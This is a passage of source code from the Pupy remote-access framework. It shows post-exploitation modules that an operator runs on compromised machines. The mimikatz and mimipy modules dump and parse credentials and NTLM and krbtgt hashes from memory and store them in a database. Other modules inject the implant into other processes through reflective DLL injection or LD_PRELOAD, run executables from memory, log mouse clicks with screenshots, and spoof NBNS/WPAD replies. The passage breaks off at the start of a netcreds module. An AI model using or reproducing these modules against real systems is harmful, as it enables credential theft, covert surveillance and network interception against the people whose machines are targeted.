                            'Files: {} Dirs: {} Total: {}'.format(
                                '{}+'.format(files_cnt) if files_cnt else '??',
                                '{}+'.format(dirs_cnt) if dirs_cnt else '??',
                                total_cnt
                            )
                        )
                    else:
                        self.info(
                            'Summary: '
                            'Files: {} (size: {}) Dirs: {} Total: {}'.format(
                                files_cnt, size_human_readable(files_size),
                                dirs_cnt, total_cnt
                            )
                        )

                else:
                    truncated = False
                    for f in sorted(
                        r[T_FILES], key=lambda x: x.get(args.sort),
                            reverse=args.reverse):
                        if T_TRUNCATED in f:
                            truncated = True
                            continue

                        self.log(
                            output_format(
                                f, is_windows, time=show_time,
                                uid_len=uid_len, gid_len=gid_len
                            )
                        )

                    if truncated:
                        self.log('--- TRUNCATED ---')

            elif T_FILE in r:
                is_windows = windows
                archive = ''
                if T_ZIPFILE in r:
                    archive = 'ZIP'
                    is_windows = True
                elif T_TARFILE in r:
                    archive = 'TAR'
                    is_windows = False

                if args.userinfo:
                    uid = r[T_FILE][T_UID]
                    if type(uid) == int:
                        uid = str(uid)

                    uid_len = symbol_len(uid)

                if args.groupinfo:
                    gid = r[T_FILE][T_GID]
                    if type(gid) == int:
                        gid = str(gid)

                    gid_len = symbol_len(gid)

                self.log(
                    output_format(
                        r[T_FILE], is_windows, archive, show_time,
                        uid_len=uid_len, gid_len=gid_len
                    )
                )

            else:
                self.error('Old format. Update pupyutils.basic_cmds')
                return


================================================
FILE: pupy/modules/mapped.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from io import open

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyCompleter import path_completer

__class_name__ = 'Mapped'


@config(compat='linux')
class Mapped(PupyModule):
    ''' Create virtual mapped path with memfd backed file (if supported) '''

    dependencies = ['mapped']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='mapped', description=cls.__doc__)

        actions = cls.arg_parser.add_mutually_exclusive_group()
        actions.add_argument(
            '-C', '--create', help='Path to local file to upload',
            completer=path_completer
        )
        actions.add_argument(
            '-R', '--remove', action='store_true', help='Remove virtual path'
        )

        cls.arg_parser.add_argument('virtual', help='Virtual path')

    def run(self, args):
        if args.create:
            create = self.client.remote('mapped', 'create_mapped_file')

            with open(args.create, 'rb') as idata:
                create(args.virtual, idata.read())
        else:
            remove = self.client.remote('mapped', 'close_mapped_file')
            remove(args.virtual)


================================================
FILE: pupy/modules/memory_exec.py
================================================
# -*- coding: utf-8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import (
    config, PupyModule, PupyArgumentParser,
    REQUIRE_REPL
)

from pupy.pupylib.PupyCompleter import path_completer
from pupy.modules.lib.windows.memory_exec import exec_pe
from pupy.modules.lib.linux.exec_elf import mexec

from argparse import REMAINDER
from os import path

__class_name__="MemoryExec"

@config(compatibilities=["windows", "linux"], category="manage")
class MemoryExec(PupyModule):
    """
        Execute a executable from memory
    """

    io = REQUIRE_REPL

    dependencies = {
        'linux': ['memexec'],
        'windows': ['pupwinutils.memexec']
    }

    def __init__(self, *args, **kwargs):
        PupyModule.__init__(self,*args, **kwargs)
        self.interrupted = False
        self.mp = None

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="memory_exec", description=cls.__doc__)
        #cls.arg_parser.add_argument('-p', '--process', default='cmd.exe', help='process to start suspended')
        cls.arg_parser.add_argument('-i', '--interactive', action='store_true', help='interact with the process stdin.')
        cls.arg_parser.add_argument('-m', '--impersonate', action='store_true', help='use the current impersonated token (to use with impersonate module)')
        cls.arg_parser.add_argument('-s', '--suspended-process', default="cmd.exe", help='change the suspended process to spawn (default: cmd.exe)')
        cls.arg_parser.add_argument('-0', '--argv0', help='Set argv[0] (linux only)')
        cls.arg_parser.add_argument('path', help='path to the exe', completer=path_completer)
        cls.arg_parser.add_argument('args', nargs=REMAINDER, help='optional arguments to pass to the exe')

    def interrupt(self):
        self.info("interrupting remote process, please wait ...")
        if self.mp:
            self.mp.close()

    def run(self, args):
        log = None
        if self.client.is_windows():
            log = exec_pe(
                self, args.args,
                path=args.path, interactive=args.interactive,
                use_impersonation=args.impersonate,
                suspended_process=args.suspended_process
            )
        elif self.client.is_linux():
            log = mexec(
                self, args.path, args.args,
                argv0=args.argv0 or path.basename(args.path),
                interactive=args.interactive
            )

        if log and type(log) is str:
            self.log(log)


================================================
FILE: pupy/modules/memstrings.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import os
from io import open

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.utils.rpyc_utils import obtain

__class_name__="MemStrings"

@config(cat="creds", compat=["windows", "linux", "solaris"])
class MemStrings(PupyModule):
    """
        Dump printable strings from process memory for futher analysis
    """
    dependencies=['memorpy', 'memstrings']

    termevent = None

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='memstrings', description=cls.__doc__)
        action = cls.arg_parser.add_mutually_exclusive_group(required=True)
        action.add_argument('-p', '--pid', nargs='*', type=int, default=[],
                                help='Include processes with specified pids')
        action.add_argument('-n', '--name', nargs='*', default=[],
                                help='Include processes with specified names')
        cls.arg_parser.add_argument('-x', '--omit', type=str, default='isrx',
                                help='Avoid scanning: '
                                'i - ranges with file mapping; '
                                's - ranges with shared region; '
                                'x - ranges with executable region; '
                                'r - ranges with read-only region')

        regex = cls.arg_parser.add_mutually_exclusive_group()
        regex.add_argument('-r', '--regex', type=str,
                           help='Regex to match (default: printable strings). '
                               'Example: "^[a-zA-Z_]+=[\\x20-\\x7e]+$" - env strings')

        maxmin = regex.add_argument_group()
        maxmin.add_argument('-l', '--min-length', type=int, default=4,
                                help='Show only strings which are longer then specified length')
        maxmin.add_argument('-m', '--max-length', type=int, default=51,
                                help='Show only strings which are shorter then specified length')

        cls.arg_parser.add_argument('-P', '--portions', type=int, default=8192,
                                help='Strings portion block')
        cls.arg_parser.add_argument('-d', '--no-duplication', default=False, action='store_true',
                                help='Enable strings deduplication (will increase memory usage)')
        cls.arg_parser.add_argument('-S', '--stdout', action='store_true', help='Show strings on stdout')

    def run(self, args):
        targets = args.pid + args.name

        REvent = self.client.remote('threading', 'Event', False)
        iterate_strings = self.client.remote('memstrings', 'iterate_strings', False)

        self.termevent = REvent()

        last_pid = None
        last_log = None

        config = self.client.pupsrv.config

        for pid, name, strings in iterate_strings(
                targets,
                args.regex,
                min_length=args.min_length,
                max_length=args.max_length,
                omit=args.omit,
                portions=args.portions,
                terminate=self.termevent,
                nodup=args.no_duplication,
        ):

            strings = obtain(strings)
            pid = str(pid) or '0'
            name = str(name) or ''

            if not strings:
                self.error('No dumps received')
                return

            if args.stdout:
                self.success('Strings {}:{}'.format(name, pid))
                for s in strings:
                    self.log(s)
            else:
                if last_pid != pid:
                    last_pid = pid
                    if last_log:
                        last_log.close()

                    try:
                        folder = config.get_folder('memstrings', {'%c': self.client.short_name()})
                        path = name.replace('!','!!').replace('/', '!').replace('\\', '!')
                        path = os.path.join(folder, '{}.{}.strings'.format(path, pid))
                        last_log = open(path, 'w+')
                        self.success('{} {} -> {}'.format(name, pid, path))

                    except Exception as e:
                        self.error('{} {}: {}'.format(name, pid, e))

                for s in strings:
                    last_log.write(s+'\n')

                last_log.flush()

        if last_log:
            last_log.close()

    def interrupt(self):
        if self.termevent:
            self.termevent.set()


================================================
FILE: pupy/modules/migrate.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

from pupy.modules.lib.windows.migrate import migrate as win_migrate
from pupy.modules.lib.linux.migrate import migrate as lin_migrate
from pupy.modules.lib.linux.migrate import ld_preload

__class_name__ = 'MigrateModule'


@config(cat='manage', compat=['linux', 'windows'])
class MigrateModule(PupyModule):
    ''' Migrate pupy into another process using reflective DLL injection '''

    max_clients = 1
    dependencies = {
        'windows': ['pupwinutils.processes']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='migrate', description=cls.__doc__
        )
        cls.arg_parser.add_argument(
            '--no-wait', action='store_false', default=True,
            help='Does not Hook exit thread function and wait '
            'until pupy exists (Linux)'
        )

        cls.arg_parser.add_argument(
            '-d', '--debug', action='store_true', default=False,
            help='enable debug option in pupy config'
        )

        group = cls.arg_parser.add_mutually_exclusive_group(required=True)
        group.add_argument(
            '-c', '--create', metavar='<exe_path>',
            help='create a new process and inject into it'
        )
        group.add_argument(
            '-p', '--process', metavar='process_name',
            help='search a process name and migrate into'
        )
        group.add_argument(
            '--port', type=int,
            help='Set port for bind payload'
        )
        group.add_argument(
            'pid', nargs='?', type=int, help='pid'
        )
        cls.arg_parser.add_argument(
            '-P', '--payload', help='Use precompiled payload. Must be DLL'
        )
        cls.arg_parser.add_argument(
            '-k', '--keep', action='store_true',
            help='migrate into the process but create a new session and keep '
            'the current pupy session running'
        )
        cls.arg_parser.add_argument(
            '-t', '--timeout', type=int, default=30,
            help='time in seconds to wait for the connection'
        )

    def run(self, args):
        if self.client.is_windows():
            # If current launcher uses a BIND connection,
            # isBindConnection == True
            isBindConnection = False

            if self.client.desc['launcher'] == 'bind' and not args.port:
                isBindConnection = True

                self.error(
                    'The current launcher uses a bind connection: '
                    'bind port required'
                )

                return

            pid = None

            if args.create:
                start_hidden_process = self.client.remote(
                    'pupwinutils.processes', 'start_hidden_process'
                )

                self.success('Migrating to new windows process')
                pid = start_hidden_process(args.create)
                self.success(
                    '%s created with pid %s' % (args.create, pid)
                )

            elif args.process:
                self.success('Looking for process %s' % args.process)
                pstree = self.client.remote('pupyps', 'pstree')
                root, tree, data = pstree()
                for pid, properties in data.items():
                    proc = properties['exe']
                    if not proc:
                        continue

                    if args.process.lower() in proc.lower():
                        pid = int(pid)
                        self.success(
                            'Migrating to existing windows process {} '
                            'identified with the pid {}'.format(proc, pid)
                        )

                        break
            else:
                self.success(
                    'Migrating to existing windows process '
                    'identified with the pid {0}'.format(args.pid)
                )
                pid = args.pid

            win_migrate(
                self, pid, args.keep, args.timeout,
                bindPort=args.port, debug=args.debug, from_payload=args.payload
            )

            if isBindConnection:
                listeningAddress = self.client.desc['address'].split(':')[0]
                listeningAddressPortForBind = '{0}:{1}'.format(
                    listeningAddress, args.port
                )

                self.success(
                    "You have to connect to the target manually on {0}: try "
                    "'connect --host {0}' in pupy shell".format(
                        listeningAddressPortForBind
                    )
                )

        elif self.client.is_linux():
            if args.create:
                self.success(
                    'Migrating to new linux process using LD_PRELOAD'
                )

                ld_preload(
                    self, args.create, wait_thread=args.no_wait,
                    keep=args.keep, debug=args.debug,
                    from_payload=args.payload
                )
            else:
                self.success('Migrating to existing linux process')
                lin_migrate(
                    self, args.pid, args.keep, debug=args.debug
                )


================================================
FILE: pupy/modules/mimikatz.py
================================================
# -*- coding: utf-8 -*-

# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE
# file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import (
    config, PupyArgumentParser,
    REQUIRE_NOTHING
)

from pupy.pupylib.PupyOutput import Error, Table

from pupy.modules.memory_exec import MemoryExec
from pupy.modules.lib.windows.memory_exec import exec_pe
from pupy.pupylib.utils.credentials import Credentials

import sys
import os.path
import re

if sys.version_info.major > 2:
    xrange = range

__class_name__ = 'Mimikatz'


@config(cat='exploit', compat='windows')
class Mimikatz(MemoryExec):
    '''
        execute mimikatz from memory (non-interactive)
    '''

    dependencies = [
        'pupwinutils.memexec',
        'pupwinutils.wdigest'
    ]

    io = REQUIRE_NOTHING

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='mimikatz', description=cls.__doc__
        )

        cls.arg_parser.add_argument(
            'args', nargs='*', help='run mimikatz commands from argv '
            '(let empty to use loginPasswords)'
        )

        cls.arg_parser.add_argument(
            '-v', '--verbose', action='store_true', default=False,
            help='Show arguments and stdout'
        )

        cls.arg_parser.add_argument(
            "--wdigest", choices={'check', 'enable', 'disable'},
            default='', help="Creates/Deletes the 'UseLogonCredential' "
            "registry key enabling WDigest cred dumping on Windows >= 8.1"
        )

    def run(self, args):

        proc_arch = self.client.desc["proc_arch"]
        mimikatz_path = None
        output = ''

        if '64' in self.client.desc['os_arch'] and '32' in proc_arch:
            self.error(
                'You are in a x86 process right now. '
                'You have to be in a x64 process for running Mimikatz.'
                'Otherwise, the following Mimikatz error will occur '
                'after \'sekurlsa::logonPasswords\':'
                '\'ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 '
                'cannot access x64 process\'.'
            )
            return

        # for windows 10, if the UseLogonCredential registry is not present
        # or disable (equal to 0), not plaintext password can be retrieved
        # using mimikatz.

        if args.wdigest:
            ok, message = self.client.conn.modules[
                'pupwinutils.wdigest'
            ].wdigest(args.wdigest)

            if ok:
                self.success(message)
            else:
                self.warning(str(message))

            return

        if '64' in proc_arch:
            mimikatz_path = self.client.pupsrv.config.get(
                'mimikatz', 'exe_x64'
            )
        else:
            mimikatz_path = self.client.pupsrv.config.get(
                'mimikatz', 'exe_Win32'
            )

        if not os.path.isfile(mimikatz_path):
            self.error(
                'Mimikatz exe %s not found ! please edit Mimikatz '
                'section in pupy.conf' % mimikatz_path
            )
            return

        mimikatz_args = args.args

        if not mimikatz_args:
            mimikatz_args = ['privilege::debug', 'sekurlsa::logonPasswords']

        mimikatz_args.append('exit')

        if args.verbose:
            self.log('Execute: ' + repr(mimikatz_args))

        output = exec_pe(
            self, tuple(mimikatz_args), path=mimikatz_path,
            interactive=False
        )

        if not output:
            self.warning('No output')
            return

        if args.verbose:
            self.log(output)

        creds = self.parse_mimikatz(output)
        if not creds:
            self.warning('No credentials found')
            return

        try:
            # store credentials into the database
            db = Credentials(client=self.client, config=self.config)
            db.add(creds)
            self.log(Table(creds, ['domain', 'login', 'hash', 'password']))
            self.success("Credentials stored on the database")
        except:
            self.error('No credentials stored in the database')

    def parse_mimikatz(self, data):
        """
        Parse the output from Invoke-Mimikatz to return credential sets.
        This was directly stolen from the Empire project as well.
        """

        # cred format:
        #   credType, domain, username, password, hostname, sid
        creds = []

        # regexes for "sekurlsa::logonpasswords" Mimikatz output
        regexes = [
            "(?s)(?<=msv :).*?(?=tspkg :)",
            "(?s)(?<=tspkg :).*?(?=wdigest :)",
            "(?s)(?<=wdigest :).*?(?=kerberos :)",
            "(?s)(?<=kerberos :).*?(?=ssp :)",
            "(?s)(?<=ssp :).*?(?=credman :)",
            "(?s)(?<=credman :).*?(?=Authentication Id :)",
            "(?s)(?<=credman :).*?(?=mimikatz)"
        ]

        hostDomain = ""
        domainSid = ""
        hostName = ""

        lines = data.split("\n")
        for line in lines[0:2]:
            if line.startswith("Hostname:"):
                try:
                    domain = line.split(":")[1].strip()
                    temp = domain.split("/")[0].strip()
                    domainSid = domain.split("/")[1].strip()

                    hostName = temp.split(".")[0]
                    hostDomain = ".".join(temp.split(".")[1:])
                except:
                    pass

        for regex in regexes:

            p = re.compile(regex)

            for match in p.findall(data):

                lines2 = match.split("\n")
                username, domain, password = "", "", ""

                for line in lines2:
                    try:
                        if "Username" in line:
                            username = line.split(":",1)[1].strip()
                        elif "Domain" in line:
                            domain = line.split(":",1)[1].strip()
                        elif "NTLM" in line or "Password" in line:
                            password = line.split(":",1)[1].strip()
                    except:
                        pass

                    if password:
                        if username != "" and password != "" and password != "(null)":

                            sid = ""

                            # substitute the FQDN in if it matches
                            if hostDomain.startswith(domain.lower()):
                                domain = hostDomain
                                sid = domainSid

                            store = False
                            category = ''
                            if self.validate_ntlm(password):
                                credType = "Hash"
                                category = 'NTLM hash'
                                if not username.endswith("$"):
                                    store = True

                            else:
                                credType = "Password"
                                category = 'System password'
                                # ignore big hex password
                                if  len(password) < 300:
                                    store = True

                            result = {
                                'Domain': domain,
                                'Login': username,
                                credType:password,
                                'CredType': credType.lower(),
                                'Host': hostName,
                                'sid':sid,
                                'Category': category,
                                'uid': self.client.short_name()
                            }
                            # do not store password if it has already been stored
                            for c in creds:
                                if c == result:
                                    store = False
                            if store:
                                creds.append(result)
                        username, domain, password = "", "", ""

        if len(creds) == 0:
            # check if we have lsadump output to check for krbtgt
            # happens on domain controller hashdumps
            for x in xrange(8,13):
                if lines[x].startswith("Domain :"):

                    domain, sid, krbtgtHash = "", "", ""

                    try:
                        domainParts = lines[x].split(":")[1]
                        domain = domainParts.split("/")[0].strip()
                        sid = domainParts.split("/")[1].strip()

                        # substitute the FQDN in if it matches
                        if hostDomain.startswith(domain.lower()):
                            domain = hostDomain
                            sid = domainSid

                        for x in xrange(0, len(lines)):
                            if lines[x].startswith("User : krbtgt"):
                                krbtgtHash = lines[x+2].split(":")[1].strip()
                                break

                        if krbtgtHash != "":
                            creds.append({
                                'Domain': domain,
                                'Login': username,
                                'Hash': krbtgtHash,
                                'Host': hostName,
                                'CredType': 'hash',
                                'sid': sid,
                                'Category': 'krbtgt hash',
                                'uid': self.client.short_name()
                            })

                    except Exception as e:
                        self.log(Error(e))

        if len(creds) == 0:
            # check if we get lsadump::dcsync output
            if '** SAM ACCOUNT **' in lines:
                domain, user, userHash, dcName, sid = "", "", "", "", ""
                for line in lines:
                    try:
                        if line.strip().endswith("will be the domain"):
                            domain = line.split("'")[1]
                        elif line.strip().endswith("will be the DC server"):
                            dcName = line.split("'")[1].split(".")[0]
                        elif line.strip().startswith("SAM Username"):
                            user = line.split(":")[1].strip()
                        elif line.strip().startswith("Object Security ID"):
                            parts = line.split(":")[1].strip().split("-")
                            sid = "-".join(parts[0:-1])
                        elif line.strip().startswith("Hash NTLM:"):
                            userHash = line.split(":")[1].strip()
                    except:
                        pass

                if domain != "" and userHash != "":
                    creds.append({
                        'Domain': domain,
                        'Login': user,
                        'Hash': userHash,
                        'Host': dcName,
                        'CredType': 'hash',
                        'SID':sid, 'Category':
                        'NTLM hash',
                        'uid': self.client.short_name()
                    })

        return creds

    def validate_ntlm(self, data):
        allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
        if allowed.match(data):
            return True
        else:
            return False


================================================
FILE: pupy/modules/mimipy.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.utils.credentials import Credentials

__class_name__="MimipyMod"

@config(cat="creds", compat="linux")
class MimipyMod(PupyModule):
    """
        Run mimipy to retrieve credentials from memory
    """
    dependencies=['memorpy', 'mimipy']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='mimipy', description=cls.__doc__)
        cls.arg_parser.add_argument('-v', '--verbose', default=False, action='store_true', help='be more verbose !')

    def run(self, args):
        found=False
        db = Credentials(client=self.client, config=self.config)

        for t, process, u, passwd in self.client.conn.modules['mimipy'].mimipy_loot_passwords(optimizations="nsrx", clean=False):
            cred={
                'Password': passwd,
                'Login': u,
                'Host': process,
                'Category': 'Mimipy: %s'%t,
                'CredType': 'password'
            }
            self.success('\n\t'.join(["%s: %s"%(i,v) for i,v in cred.items()])+"\n\n")
            db.add([cred])
            found=True
        if not found:
            self.success("no password found :/")


================================================
FILE: pupy/modules/mimishell.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import (
    config, PupyArgumentParser,
    REQUIRE_TERMINAL
)

from pupy.modules.memory_exec import MemoryExec
from pupy.modules.lib.windows.memory_exec import exec_pe

import os.path

__class_name__="Mimishell"

@config(cat="exploit", compat="windows")
class Mimishell(MemoryExec):
    """
        execute mimikatz from memory (interactive)
    """

    dependencies = [
        'pupwinutils.memexec',
    ]

    io = REQUIRE_TERMINAL

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="mimikatz", description=cls.__doc__)
        cls.arg_parser.add_argument(
            'args', nargs='*', help='run mimikatz commands from argv (let empty to open mimikatz interactively)')

    def run(self, args):

        proc_arch       = self.client.desc["proc_arch"]
        mimikatz_path   = None

        if '64' in  self.client.desc['os_arch'] and "32" in proc_arch:
            self.error("You are in a x86 process right now. You have to be in a x64 process for running Mimikatz.")
            self.error("Otherwise, the following Mimikatz error will occur after 'sekurlsa::logonPasswords':")
            self.error("'ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process'")
            self.error("Mimikatz has not been executed on the target")
            return

        if "64" in proc_arch:
            mimikatz_path = self.client.pupsrv.config.get("mimikatz","exe_x64")
        else:
            mimikatz_path = self.client.pupsrv.config.get("mimikatz","exe_Win32")

        if not os.path.isfile(mimikatz_path):
            self.error("Mimikatz exe %s not found ! please edit Mimikatz section in pupy.conf"%mimikatz_path)
            return

        mimikatz_args = args.args
        exec_pe(self, mimikatz_args, path=mimikatz_path, interactive=True)


================================================
FILE: pupy/modules/mkdir.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyCompleter import remote_dirs_completer

if sys.version_info.major > 2:
    basestring = str

__class_name__="mkdir"


@config(cat="admin")
class mkdir(PupyModule):
    """ create an empty directory """

    is_module = False
    dependencies = ['pupyutils.basic_cmds']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="mkdir", description=cls.__doc__)
        cls.arg_parser.add_argument(
            'dir', type=str, help='directory name', completer=remote_dirs_completer)

    def run(self, args):
        try:
            mkdir = self.client.remote('pupyutils.basic_cmds', 'mkdir', 'False')
            r = mkdir(args.dir)
            if r:
                self.log(r)

        except Exception as e:
            self.error(
                ' '.join(x for x in e.args if isinstance(x, basestring))
            )



================================================
FILE: pupy/modules/mouselogger.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

MOUSELOGGER_EVENT = 0x12000001

__class_name__ = 'MouseLoggerModule'
__events__ = {
    MOUSELOGGER_EVENT: 'keylogger'
}


@config(compat="windows", cat="gather")
class MouseLoggerModule(PupyModule):
    ''' log mouse clicks and take screenshots of areas around it '''
    # WARNING : screenshots are kept in memory before beeing dumped
    # TODO change that and add a callback to automatically send back
    # screenshots without need for dumping

    unique_instance = True
    dependencies = ['pupwinutils.mouselogger', 'png', 'pupwinutils.hookfuncs']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='mouselogger', description=cls.__doc__
        )

        cls.arg_parser.add_argument(
            'action', choices=['start', 'stop', 'dump']
        )

    def run(self, args):
        if args.action == 'start':
            mouselogger_start = self.client.remote(
                'pupwinutils.mouselogger', 'mouselogger_start', False
            )
            mouselogger_start(event_id=MOUSELOGGER_EVENT)

        elif args.action == 'dump':
            self.success("dumping recorded mouse clicks :")
            mouselogger_dump = self.client.remote(
                'pupwinutils.mouselogger', 'mouselogger_dump'
            )
            screenshots_list = mouselogger_dump()

            for d, height, width, exe, win_title, buf in screenshots_list:
                try:
                    filepath = self.config.get_file('mouseshots', {
                        '%c': self.client.short_name(),
                        '%w': win_title
                    })

                    with open(filepath, 'wb') as output:
                        output.write(buf)
                        self.info("screenshot saved to {}".format(filepath))

                except Exception as e:
                    self.error('Error saving a screenshot: {}'.format(e))

        elif args.action == 'stop':
            mouselogger_stop = self.client.remote(
                'pupwinutils.mouselogger', 'mouselogger_stop', False
            )
            mouselogger_stop()


================================================
FILE: pupy/modules/msgbox.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__="MsgBoxPopup"

@config(cat="troll", tags=["message","popup"], compatibilities=['windows', 'linux', 'darwin'])
class MsgBoxPopup(PupyModule):
    """ Pop up a custom message box """
    dependencies = {
        'windows': ['pupwinutils.msgbox'],
        'linux': ['dbus', 'notify'],
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="msgbox", description=cls.__doc__)
        cls.arg_parser.add_argument('--title', help='msgbox title')
        cls.arg_parser.add_argument('text', help='text to print in the msgbox :)')

    def run(self, args):
        if self.client.is_windows():
            self.client.conn.modules['pupwinutils.msgbox'].MessageBox(args.text, args.title)
        elif self.client.is_linux():
            self.client.conn.modules['notify'].notification(args.text, args.title)
        elif self.client.is_darwin():
            cmd = 'osascript -e \'tell app "Finder" to display dialog "%s"\'' % args.text
            self.client.conn.modules.os.popen(cmd)

        self.log("message box popped !")


================================================
FILE: pupy/modules/mv.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyCompleter import remote_path_completer, remote_dirs_completer

__class_name__ = 'mv'

if sys.version_info.major > 2:
    basestring = str


@config(cat="admin")
class mv(PupyModule):
    """ move file or directory """
    is_module = False

    dependencies = ['pupyutils.basic_cmds']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="mv", description=cls.__doc__)
        cls.arg_parser.add_argument('src', type=str, action='store', completer=remote_path_completer)
        cls.arg_parser.add_argument('dst', type=str, action='store', completer=remote_dirs_completer)

    def run(self, args):
        try:
            mv = self.client.remote('pupyutils.basic_cmds', 'mv')

            r = mv(args.src, args.dst)
            if r:
                self.log(r)

        except Exception as e:
            self.error(
                ' '.join(x for x in e.args if isinstance(x, basestring))
            )



================================================
FILE: pupy/modules/nbnsspoof.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.modules.lib.windows.winpcap import init_winpcap
from pupy.pupylib.utils.rpyc_utils import redirected_stdo

from pupy.pupylib.PupyModule import (
    config, PupyModule,
    QA_DANGEROUS, PupyArgumentParser,
    REQUIRE_STREAM
)

__class_name__="NbnsSpoofModule"

@config(cat="network", tags=["netbios", "NBNS", "spoof"], compatibilities=['windows'])
class NbnsSpoofModule(PupyModule):
    """ sniff for NBNS requests and spoof NBNS responses """

    dependencies=['nbnsspoof']

    qa = QA_DANGEROUS
    io = REQUIRE_STREAM

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='nbnsspoof.py', description=cls.__doc__)
        cls.arg_parser.add_argument("-i", "--iface", default=None, help="change default iface")
        cls.arg_parser.add_argument("--timeout", type=int, default=300, help="stop the spoofing after N seconds (default 300)")
        cls.arg_parser.add_argument("--regex", default=".*WPAD.*", help="only answer for requests matching the regex (default: .*WPAD.*)")
        cls.arg_parser.add_argument("srcmac", help="source mac address to use for the responses")
        cls.arg_parser.add_argument("ip", help="IP to spoof")


    def run(self, args):
        init_winpcap(self.client)
        # Load full scapy
        self.client.load_package('scapy', honor_ignore=False, force=True)

        with redirected_stdo(self):
            self.client.conn.modules['nbnsspoof'].start_nbnsspoof(
                args.ip, args.srcmac, timeout=args.timeout, verbose=True,
                interface=args.iface, name_regexp=args.regex)


================================================
FILE: pupy/modules/netcreds.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
